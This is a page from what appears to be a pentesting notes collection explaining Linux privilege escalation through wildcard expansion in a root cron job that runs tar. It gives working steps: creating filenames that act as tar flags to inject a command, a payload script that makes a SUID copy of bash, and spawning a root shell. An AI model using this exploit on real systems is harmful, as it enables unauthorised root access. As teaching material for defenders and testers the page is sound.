> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/linux/corntab/wildcard-tar-exploitation.md).

# Wildcard Tar Exploitation

This technique exploits how wildcards (`*`) are expanded in shell commands, particularly in the `tar` utility. If a privileged cron job uses `tar` with `*` and a user can write to the target directory, arbitrary code execution is possible.

When the `*` wildcard is used in shell scripts, it expands into all files in the current directory. If any of these filenames resemble command-line flags (e.g., --checkpoint), they may be interpreted as actual options to tar, not as files. This behavior can be exploited to execute arbitrary commands.

***

### Vulnerable Cron Job Running as Root

A cron job is configured to run a script with `tar` on a directory where a low-privileged user (`developer`) has write access.

#### Crontab Entry (run as root):

```
* * * * * root /opt/scripts/backup.sh
```

#### Script: `/opt/scripts/backup.sh`

```bash
#!/bin/bash
cd /opt/project/data/
tar -czf /opt/backups/weekly.tgz *
```

This script archives all files in `/opt/project/data/` using a wildcard.

***

### Exploitation Steps

#### Create Malicious Tar Flags as Files

Assume the attacker is the `developer` user and has write access to `/opt/project/data/`.

```bash
cd /opt/project/data/

# Create filenames that will be treated as tar options
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh runme.sh"
```

#### Create the Payload Script (`runme.sh`)

```bash
cat << 'EOF' > runme.sh
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF

chmod +x runme.sh
```

When executed, this script creates a SUID binary at `/tmp/rootbash`.

***

#### Wait for Cron to Run

The root-owned cron job will execute:

```bash
tar -czf /opt/backups/weekly.tgz --checkpoint=1 --checkpoint-action=exec=sh runme.sh ...
```

This will execute `runme.sh` **as root**, setting the SUID bit on `/tmp/rootbash`.

***

#### Spawn a Root Shell

```bash
/tmp/rootbash -p
```

You now have a root shell via the SUID binary.